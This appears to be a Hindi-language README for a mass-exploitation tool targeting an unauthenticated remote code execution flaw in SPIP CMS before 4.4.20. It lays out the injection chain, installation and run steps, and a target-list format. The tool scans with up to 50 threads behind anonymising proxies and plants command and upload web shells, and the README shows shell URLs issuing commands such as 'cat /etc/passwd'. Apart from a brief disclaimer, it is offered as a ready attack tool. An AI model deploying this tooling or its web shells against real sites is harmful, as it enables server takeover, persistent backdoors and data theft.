CVE-2026-77647

SPIP 4.4.20 से पहले के संस्करणों में अनधिप्रमाणित दूरस्थ हमलावरों को मनमाना कोड निष्पादित करने की अनुमति देता है

🔴 CVE-2026-77647 — SPIP अनधिप्रमाणित दूरस्थ कोड निष्पादन

SPIP CMS में प्री-ऑथेंटिकेशन दूरस्थ कोड निष्पादन — 4.4.20 से पहले के सभी संस्करण

---

📋 अवलोकन

CVE-2026-77647 एक गंभीर अनधिप्रमाणित दूरस्थ कोड निष्पादन (RCE) कमज़ोरी है जो SPIP CMS के 4.4.20 से पहले के सभी संस्करणों को प्रभावित करती है।

यह दोष एक दूरस्थ हमलावर को — बिना किसी प्रमाणीकरण या उपयोगकर्ता इंटरैक्शन के — लक्षित सर्वर पर मनमाना PHP कोड निष्पादित करने की अनुमति देता है। इसे अगस्त 2026 से वास्तविक दुनिया में सक्रिय रूप से शोषित किया गया, जिसके कारण SPIP टीम ने आपातकालीन पैच जारी किया।

यह टूल कॉन्फ़िगर करने योग्य समवर्तीता के साथ कई लक्ष्यों पर इस कमज़ोरी का पता लगाने और शोषण करने को स्वचालित करता है।

---

🛡️ कमज़ोरी विवरण

फ़ील्ड	विवरण
CVE ID	CVE-2026-77647
प्रभावित सॉफ़्टवेयर	SPIP CMS
प्रभावित संस्करण	4.4.20 से पहले के सभी संस्करण
प्रकार	अनधिप्रमाणित दूरस्थ कोड निष्पादन (RCE)
CWE	CWE-94 — कोड जनरेशन का अनुचित नियंत्रण (कोड इंजेक्शन)
CVSS 3.1 स्कोर	9.8 / 10 — गंभीर
CVSS वेक्टर	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
प्रमाणीकरण	किसी की आवश्यकता नहीं (प्री-ऑथ)
शोषण	वास्तविक दुनिया में सक्रिय रूप से शोषित (अगस्त 2026)
पैच	SPIP 4.4.20 (सलाह)

---

⚙️ CVSS 3.1 विश्लेषण

मीट्रिक	मान	अर्थ
आक्रमण वेक्टर	नेटवर्क	इंटरनेट पर दूरस्थ रूप से शोषण योग्य
आक्रमण जटिलता	निम्न	किसी विशेष शर्त की आवश्यकता नहीं
आवश्यक विशेषाधिकार	कोई नहीं	प्रमाणीकरण की आवश्यकता नहीं
उपयोगकर्ता इंटरैक्शन	कोई नहीं	पीड़ित की किसी कार्रवाई की आवश्यकता नहीं
दायरा	अपरिवर्तित	प्रभाव कमज़ोर सिस्टम तक सीमित
गोपनीयता	उच्च	सभी डेटा तक पूर्ण पढ़ने की पहुँच
अखंडता	उच्च	पूर्ण लेखन / संशोधन पहुँच
उपलब्धता	उच्च	पूर्ण सेवा-अस्वीकृति संभव

---

🔬 तकनीकी विश्लेषण

मूल कारण

यह कमज़ोरी SPIP टेम्पलेट इंजन में दो परस्पर क्रिया करने वाले मुद्दों से उत्पन्न होती है:

1. गलत <?php ब्लॉक पहचान — SPIP का टेम्पलेट इंजन उपयोगकर्ता-नियंत्रित इनपुट के भीतर PHP ओपनिंग टैग को ठीक से सैनिटाइज़ करने में विफल रहता है, विशेष रूप से खोज (recherche) पैरामीटर में।

2. var_export का गलत प्रबंधन — PHP का var_export() फ़ंक्शन कुछ विशेष स्थितियों को गलत तरीके से संभालता है, विशेष रूप से जब इनपुट में < वर्ण होता है, जिससे निष्पादन योग्य PHP कोड का इंजेक्शन संभव हो जाता है।

शोषण श्रृंखला

User Input (recherche) → var_export → X-Spip-Filtre: html_entity_decode → PHP eval

हमलावर SPIP खोज कार्यक्षमता (?page=recherche&recherche=PAYLOAD) के माध्यम से एक तैयार किया गया पेलोड भेजता है। पेलोड html_entity_decode को ट्रिगर करने के लिए X-Spip-Filtre HTTP हेडर तंत्र का दुरुपयोग करता है, जो इंजेक्ट किए गए PHP कोड को डिकोड करता है। डिकोड किए गए कोड का मूल्यांकन फिर SPIP के टेम्पलेट रेंडरिंग इंजन द्वारा किया जाता है, जिससे मनमाना कोड निष्पादन प्राप्त होता है।

आक्रमण प्रवाह

┌──────────────────────┐
│   Attacker Machine   │
└──────────┬───────────┘
           │
           │  GET /spip.php?page=recherche&recherche=<PAYLOAD>
           ▼
┌──────────────────────┐
│   SPIP Application   │
│                      │
│  1. Receives search  │
│  2. var_export()     │──── Mishandles '<' character
│  3. X-Spip-Filtre   │──── html_entity_decode
│  4. Template eval    │──── Executes injected PHP
│                      │
└──────────┬───────────┘
           │
           │  file_put_contents() → PHP Web Shell
           ▼
┌──────────────────────┐
│   Web Shell Active   │
│   Full RCE Achieved  │
└──────────────────────┘

---

🚀 उपयोग

आवश्यकताएँ

• Python 3.7+
• requests लाइब्रेरी

इंस्टॉलेशन

git clone https://github.com/Nxploited/CVE-2026-77647.git
cd CVE-2026-77647
pip install requests

लक्ष्य तैयार करें

list.txt (या कोई भी कस्टम नाम) नाम की एक फ़ाइल बनाएं जिसमें प्रति पंक्ति एक लक्ष्य हो:

https://target1.com
https://target2.com
http://192.168.1.100
target3.com

नोट: बिना स्कीम (http:// या https://) वाले लक्ष्य डिफ़ॉल्ट रूप से http:// पर सेट हो जाएंगे।

चलाएं

python CVE-2026-77647.py

इंटरैक्टिव कॉन्फ़िगरेशन

टूल आपसे निम्नलिखित के लिए संकेत देगा:

[?] Target list (default: list.txt): list.txt
[?] Speed (1-4, default: 2):

गति	थ्रेड्स	टाइमआउट	प्रोफ़ाइल
1 — धीमा	5	25s	🔇 स्टेल्थ
2 — सामान्य	10	15s	⚖️ संतुलित
3 — तेज़	25	12s	⚡ आक्रामक
4 — अल्ट्रा	50	10s	🔥 अधिकतम

[?] Proxy (blank = none): socks5://127.0.0.1:9050

अनामीकरण के लिए HTTP/HTTPS/SOCKS प्रॉक्सी का समर्थन करता है।

आउटपुट

सफल परिणाम shells.txt में सहेजे जाते हैं:

https://target.com/img_cache.php?k=nXk&c=id
https://target.com/Nx_.php?k=nXk

शेल एक्सेस

कमांड निष्पादन:

https://target.com/img_cache.php?k=nXk&c=whoami
https://target.com/img_cache.php?k=nXk&c=cat /etc/passwd

फ़ाइल अपलोड इंटरफ़ेस:

https://target.com/Nx_.php?k=nXk

🎯 विशेषताएँ

• 🔍 स्वचालित SPIP संस्करण पहचान Composed-By हेडर और पेज फिंगरप्रिंटिंग के माध्यम से
• 🛡️ पैच किए गए संस्करण को छोड़ना — स्वचालित रूप से SPIP ≥ 4.4.20 को छोड़ता है
• 📝 दोहरी शेल तैनाती — कमांड निष्पादन शेल + फ़ाइल अपलोड शेल
• 📂 बहु-पथ लेखन — रूट, IMG/, tmp/, और local/ निर्देशिकाओं में लिखने का प्रयास करता है
• ⚡ मल्टी-थ्रेडेड स्कैनिंग — कॉन्फ़िगर करने योग्य 5 से 50 समवर्ती थ्रेड्स
• 🌐 प्रॉक्सी समर्थन — HTTP, HTTPS, और SOCKS प्रॉक्सी रूटिंग
• 📊 वास्तविक समय स्थिति — रंग-कोडित टर्मिनल आउटपुट के साथ लाइव प्रगति
• 💾 परिणामों का स्वतः-सहेजना — सभी पुष्ट शेल आउटपुट फ़ाइल में सहेजे जाते हैं

---

📚 संदर्भ

• CVE-2026-77647 — CVE.org
• CVE-2026-77647 — NVD (NIST)
• SPIP Security Advisory — SPIP Blog
• CERTFR-2026-AVI-1033 — CERT-FR (ANSSI)
• Debian Security Tracker — CVE-2026-77647
• Rapid7 Vulnerability Database

---

⚠️ अस्वीकरण

यह टूल पूर्णतः शैक्षिक उद्देश्यों और अधिकृत सुरक्षा अनुसंधान के लिए ही प्रदान किया गया है।

सिस्टम स्वामी से स्पष्ट लिखित अनुमति के बिना सिस्टम के विरुद्ध इस टूल का उपयोग अवैध है और यह स्थानीय, राष्ट्रीय और अंतर्राष्ट्रीय कानूनों का उल्लंघन कर सकता है, जिनमें Computer Fraud and Abuse Act (CFAA), UK Computer Misuse Act, और अन्य क्षेत्राधिकारों के समतुल्य विधान शामिल हैं, परंतु इन्हीं तक सीमित नहीं हैं।

लेखक कोई दायित्व नहीं स्वीकार करता है और इस टूल के कारण होने वाले किसी भी दुरुपयोग, क्षति, या अवैध गतिविधि के लिए उत्तरदायी नहीं है। इस टूल का उपयोग करके, आप सहमत होते हैं कि:

• किसी भी लक्ष्य का परीक्षण करने से पहले आपने उचित प्राधिकरण प्राप्त किया है
• आप अपने कार्यों की पूर्ण जिम्मेदारी स्वीकार करते हैं
• आप सभी लागू कानूनों और विनियमों का पालन करेंगे
• आप समझते हैं कि कंप्यूटर सिस्टम तक अनधिकृत पहुँच एक आपराधिक अपराध है

जिम्मेदारी से उपयोग करें। नैतिक रूप से हैक करें।

---